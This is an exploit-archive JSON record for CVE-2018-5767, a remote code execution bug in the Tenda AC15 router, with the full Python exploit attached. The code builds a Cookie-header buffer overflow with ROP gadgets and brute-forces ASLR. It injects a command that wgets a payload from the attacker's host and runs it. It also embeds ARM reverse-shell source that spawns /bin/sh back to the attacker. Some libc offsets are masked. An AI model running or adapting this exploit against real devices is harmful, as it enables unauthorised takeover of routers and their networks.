{"exploit":{"id":"EDB-44253","name":"Tenda AC15 Router - 'password' Buffer Overflow / Remote Code Execution (RCE)","description":"Tenda AC15 Router - 'password' Buffer Overflow / Remote Code Execution (RCE)","cves":["CVE-2018-5767"],"author":"Tim Carrington","published":"2018-02-14","platform":"hardware","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/44253","path":"exploits/hardware/remote/44253.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-44253.py","vulnerabilities":[{"id":"CVE-2018-5767","state":"PUBLISHED","title":null,"titleSource":null,"description":"An issue was discovered on Tenda AC15 V15.03.1.16_multi devices. A remote, unauthenticated attacker can gain remote code execution on the device with a crafted password parameter for the COOKIE header.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-5767","cvss":{"version":"3.0","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2018-5767"},"updatedAt":"2024-08-05T05:40:51.394Z","retrievedAt":"2026-11-27T09:11:33.543Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-44253.png?v=2","url":"https://exploitbin.com/exploits/EDB-44253","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-44253/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-44253/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python\n# EDB Note ~ Source: https://www.fidusinfosec.com/remote-code-execution-cve-2018-5767/\nimport urllib2\nimport struct\nimport time\nimport socket\nfrom optparse import *\nimport SimpleHTTPServer\nimport SocketServer\nimport threading\nimport sys\nimport os\nimport subprocess\n\nARM_REV_SHELL = (\n\"#include <sys/socket.h>\\n\"\n\"#include <sys/types.h>\\n\"\n\"#include <string.h>\\n\"\n\"#include <stdio.h>\\n\"\n\"#include <netinet/in.h>\\n\"\n\"int main(int argc, char **argv)\\n\"\n\"{\\n\"\n\"           struct sockaddr_in addr;\\n\"\n\"           socklen_t addrlen;\\n\"\n\"           int sock = socket(AF_INET, SOCK_STREAM, 0);\\n\"\n\n\"           memset(&addr, 0x00, sizeof(addr));\\n\"\n\n\"           addr.sin_family = AF_INET;\\n\"\n\"           addr.sin_port = htons(%d);\\n\"\n\"           addr.sin_addr.s_addr = inet_addr(\\\"%s\\\");\\n\"\n\n\"           int conn = connect(sock, (struct sockaddr *)&addr,sizeof(addr));\\n\"\n\n\"           dup2(sock, 0);\\n\"\n\"           dup2(sock, 1);\\n\"\n\"           dup2(sock, 2);\\n\"\n\n\"           system(\\\"/bin/sh\\\");\\n\"\n\"}\\n\"\n)\n\nREV_PORT = 31337\nHTTPD_PORT = 8888\nDONE = False\n\n\"\"\"\n* This function creates a listening socket on port\n* REV_PORT. When a connection is accepted it updates\n* the global DONE flag to indicate successful exploitation.\n* It then jumps into a loop whereby the user can send remote\n* commands to the device, interacting with a spawned /bin/sh\n* process.\n\"\"\"\ndef threaded_listener():\n            global DONE\n            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)\n\n            host = (\"0.0.0.0\", REV_PORT)\n\n            try:\n                        s.bind(host)\n            except:\n                        print \"[+] Error binding to %d\" %REV_PORT\n                        return -1\n\n\n            print \"[+] Connect back listener running on port %d\" %REV_PORT\n\n            s.listen(1)\n            conn, host = s.accept()\n\n            #We got a connection, lets make the exploit thread aware\n            DONE = True\n\n            print \"[+] Got connect back from %s\" %host[0]\n            print \"[+] Entering command loop, enter exit to quit\"\n\n            #Loop continuosly, simple reverse shell interface.\n            while True:\n                        print \"#\",\n                        cmd = raw_input()\n                        if cmd == \"exit\":\n                                    break\n                        if cmd == '':\n                                    continue\n\n                        conn.send(cmd + \"\\n\")\n\n                        print conn.recv(4096)\n\n\"\"\"\n* Take the ARM_REV_SHELL code and modify it with\n* the given ip and port to connect back to.\n* This function then compiles the code into an\n* ARM binary.\n@Param comp_path – This should be the path of the cross-compiler.\n@Param my_ip – The IP address of the system running this code.\n\"\"\"\ndef compile_shell(comp_path, my_ip):\n            global ARM_REV_SHELL\n            outfile = open(\"a.c\", \"w\")\n\n            ARM_REV_SHELL = ARM_REV_SHELL%(REV_PORT, my_ip)\n\n            outfile.write(ARM_REV_SHELL)\n            outfile.close()\n\n            compile_cmd = [comp_path, \"a.c\",\"-o\", \"a\"]\n\n            s = subprocess.Popen(compile_cmd, stderr=subprocess.PIPE, stdout=subprocess.PIPE)\n\n            while s.poll() == None:\n                        continue\n\n            if s.returncode == 0:\n                        return True\n            else:\n                        print \"[x] Error compiling code, check compiler? Read the README?\"\n                        return False\n\n\"\"\"\n* This function uses the SimpleHTTPServer module to create\n* a http server that will serve our malicious binary.\n* This function is called as a thread, as a daemon process.\n\"\"\"\ndef start_http_server():\n            Handler = SimpleHTTPServer.SimpleHTTPRequestHandler\n            httpd = SocketServer.TCPServer((\"\", HTTPD_PORT), Handler)\n\n            print \"[+] Http server started on port %d\" %HTTPD_PORT\n            httpd.serve_forever()\n\n\n\"\"\"\n* This function presents the actual vulnerability exploited.\n* The Cookie header has a password field that is vulnerable to\n* a sscanf buffer overflow, we make use of 2 ROP gadgets to\n* bypass DEP/NX, and can brute force ASLR due to a watchdog\n* process restarting any processes that crash.\n* This function will continually make malicious requests to the\n* devices web interface until the DONE flag is set to True.\n@Param host – the ip address of the target.\n@Param port – the port the webserver is running on.\n@Param my_ip – The ip address of the attacking system.\n\"\"\"\ndef exploit(host, port, my_ip):\n            global DONE\n            url = \"http://%s:%s/goform/exeCommand\"%(host, port)\n            i = 0\n\n            command = \"wget http://%s:%s/a -O /tmp/a && chmod 777 /tmp/a && /tmp/./a &;\" %(my_ip, HTTPD_PORT)\n\n            #Guess the same libc base continuosly\n            libc_base = ****\n            curr_libc = libc_base + (0x7c << 12)\n\n            system = struct.pack(\"<I\", curr_libc + ****)\n\n            #: pop {r3, r4, r7, pc}\n            pop = struct.pack(\"<I\", curr_libc + ****)\n            #: mov r0, sp ; blx r3\n            mv_r0_sp = struct.pack(\"<I\", curr_libc + ****)\n\n            password = \"A\"*offset\n            password += pop + system + \"B\"*8 + mv_r0_sp + command + \".gif\"\n\n            print \"[+] Beginning brute force.\"\n            while not DONE:\n                        i += 1\n                        print \"[+] Attempt %d\" %i\n\n                        #build the request, with the malicious password field\n                        req = urllib2.Request(url)\n                        req.add_header(\"Cookie\", \"password=%s\"%password)\n\n                        #The request will throw an exception when we crash the server,\n                        #we don't care about this, so don't handle it.\n                        try:\n                                    resp = urllib2.urlopen(req)\n                        except:\n                                    pass\n\n                        #Give the device some time to restart the\n                        time.sleep(1)\n\n            print \"[+] Exploit done\"\n\n\ndef main():\n            parser = OptionParser()\n            parser.add_option(\"-t\", \"–target\", dest=\"host_ip\", help=\"IP address of the target\")\n            parser.add_option(\"-p\", \"–port\", dest=\"host_port\", help=\"Port of the targets webserver\")\n            parser.add_option(\"-c\", \"–comp-path\", dest=\"compiler_path\", help=\"path to arm cross compiler\")\n            parser.add_option(\"-m\", \"–my-ip\", dest=\"my_ip\", help=\"your ip address\")\n\n            options, args = parser.parse_args()\n\n            host_ip = options.host_ip\n            host_port = options.host_port\n            comp_path = options.compiler_path\n            my_ip = options.my_ip\n\n            if host_ip == None or host_port == None:\n                        parser.error(\"[x] A target ip address (-t) and port (-p) are required\")\n\n            if comp_path == None:\n                        parser.error(\"[x] No compiler path specified, you need a uclibc arm cross compiler, such as https://www.uclibc.org/downloads/binaries/0.9.30/cross-compiler-arm4l.tar.bz2\")\n\n            if my_ip == None:\n                        parser.error(\"[x] Please pass your ip address (-m)\")\n\n\n            if not compile_shell(comp_path, my_ip):\n                        print \"[x] Exiting due to error in compiling shell\"\n                        return -1\n\n            httpd_thread = threading.Thread(target=start_http_server)\n            httpd_thread.daemon = True\n            httpd_thread.start()\n\n            conn_listener = threading.Thread(target=threaded_listener)\n            conn_listener.start()\n\n            #Give the thread a little time to start up, and fail if that happens\n            time.sleep(3)\n\n            if not conn_listener.is_alive():\n                        print \"[x] Exiting due to conn_listener error\"\n                        return -1\n\n\n            exploit(host_ip, host_port, my_ip)\n\n\n            conn_listener.join()\n\n            return 0\n\n\n\nif __name__ == '__main__':\n            main()","sha256":"35806004910dfa3a4e376f3607f1a93883a107fd46c3f47a3b1cffd9af3f7b6f","bytes":8023,"fetchedAt":"2026-11-27T09:11:33.178Z","encoding":"utf-8 (display only; download retains original bytes)"}